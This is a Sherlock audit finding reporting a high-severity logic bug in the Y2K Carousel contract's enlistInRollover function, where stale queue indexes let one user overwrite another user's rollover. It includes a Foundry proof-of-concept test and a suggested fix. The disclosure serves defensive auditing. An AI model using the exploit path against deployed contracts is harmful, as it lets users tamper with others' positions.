ltyu - Incorrect rollover logic allows modification of other user rollovers

[sherlock-admin]

ltyu

high

Incorrect rollover logic allows modification of other user rollovers

Summary

The function Carousel.enlistInRollover is incorrectly implemented which allows updates of other users' rollovers.

Vulnerability Detail

In the function enlistInRollover of Carousel.sol, the _receiver rollovers are either added, or updated.

New rollovers are added here:
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L259-L266

Rollovers are updated here:
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L254-L257

Afterwards, the ownerToRollOverQueueIndex is updated with the rolloverQueue.length in both adds and updates:
https://github.com/sherlock-audit/2023-03-Y2K/blob/main/Earthquake/src/v2/Carousel/Carousel.sol#L268

However, this is incorrectly implemented. Consider the case when there are no rollovers

1. USER1 is the first user, so they get added to rolloverQueue. At the end, their ownerToRollOverQueueIndex[USER1] will be 1.
2. USER2 is the second user, so they get added to rolloverQueue. At the end, their ownerToRollOverQueueIndex[USER2] will be 2.
   • Note that rolloverQueue will contain 2 QueueItem; QueueItem[0] will be USER1's, and QueueItem[1] will be USER2's.
3. USER1 updates their rollover, so the index used to update will be ownerToRollOverQueueIndex[USER1] - 1 = 0 . At the end, their ownerToRollOverQueueIndex[USER1] will be updated to 2.
4. Now, if USER1 updates their rollover again, the index used to update will be ownerToRollOverQueueIndex[USER1] - 1 = 1. This will update USER2's rollover as it will access rolloverQueue[1].

Impact

The is high impact as it will allow users to be able to modify/delist other user's rollovers. They also won't be able to modify their own rollover.

Code Snippet

Here is a unit test. Add this to CarouselTest.t.sol, and run forge test --match-test testUpdateRollover

	function testUpdateRollover() public {
	// create two epochs
	uint40 _epochBegin = uint40(block.timestamp + 1 days);
	uint40 _epochEnd = uint40(block.timestamp + 2 days);
	uint256 _epochId = 2;
	uint256 _emissions = 100 ether;
	  
	
	deal(emissionsToken, address(vault), 100 ether, true);
	vault.setEpoch(_epochBegin, _epochEnd, _epochId);
	vault.setEmissions( _epochId, _emissions);
	helperDepositInEpochs(_epochId,USER, false);
	helperDepositInEpochs(_epochId,USER2, false);
	  
	
	vm.warp(_epochBegin - 10 minutes);
	helperDepositInEpochs(_epochId,USER, false);
	helperDepositInEpochs(_epochId,USER2, false);
	  
	
	// enlist in rollover for next epoch
	vm.prank(USER);
	vault.enlistInRollover(_epochId, 8 ether, USER);
	  
	
	// Check rollover data
	(uint256 assets1, address receiver1, uint256 epochId1) = vault.rolloverQueue(0); // 0 is USER1's data
	assertEq(vault.getRolloverQueueLenght(), 1);
	assertEq(vault.ownerToRollOverQueueIndex(USER), 1);
	assertEq(assets1, 8 ether);
	assertEq(receiver1, USER);
	assertEq(epochId1, _epochId);
	  
	
	// USER2 enroll in another queue for the same epoch
	vm.prank(USER2);
	vault.enlistInRollover(_epochId, 8 ether, USER2);
	  
	
	// Check USER2 rollover data
	(uint256 assets2, address receiver2, uint256 epochId2) = vault.rolloverQueue(1); // 1 is USER2's data
	assertEq(vault.getRolloverQueueLenght(), 2);
	assertEq(vault.ownerToRollOverQueueIndex(USER2), 2);
	assertEq(assets2, 8 ether);
	assertEq(receiver2, USER2);
	assertEq(epochId2, _epochId);
	  
	
	// Update USER1 rollover
	vm.prank(USER);
	vault.enlistInRollover(_epochId, 8 ether, USER);
	  
	
	// Check USER1 rollover data
	(assets1, receiver1, epochId1) = vault.rolloverQueue(0);
	assertEq(vault.getRolloverQueueLenght(), 2);
	assertEq(vault.ownerToRollOverQueueIndex(USER), 2);
	assertEq(assets1, 8 ether);
	assertEq(receiver1, USER);
	assertEq(epochId1, _epochId);
	  
	
	// Update USER1 rollover
	vm.prank(USER);
	vault.enlistInRollover(_epochId, 5.5 ether, USER);
	  
	
	// USER1 data is still the same
	(assets1, receiver1, epochId1) = vault.rolloverQueue(0); // 0 is USER1's data
	assertEq(assets1, 8 ether);
	assertEq(receiver1, USER);
	assertEq(epochId1, _epochId);
	  
	
	// USER2 data has been modified by USER1
	(assets2, receiver2, epochId2) = vault.rolloverQueue(1); // 1 is USER2's data
	assertEq(assets2, 5.5 ether);
	assertEq(receiver2, USER2); // Noticed how it is USER2
	assertEq(epochId2, _epochId);
}

Tool used

Manual Review

Recommendation

Consider only updating ownerToRollOverQueueIndex[_receiver] when adding to the queue, instead of updating.

Duplicate of #2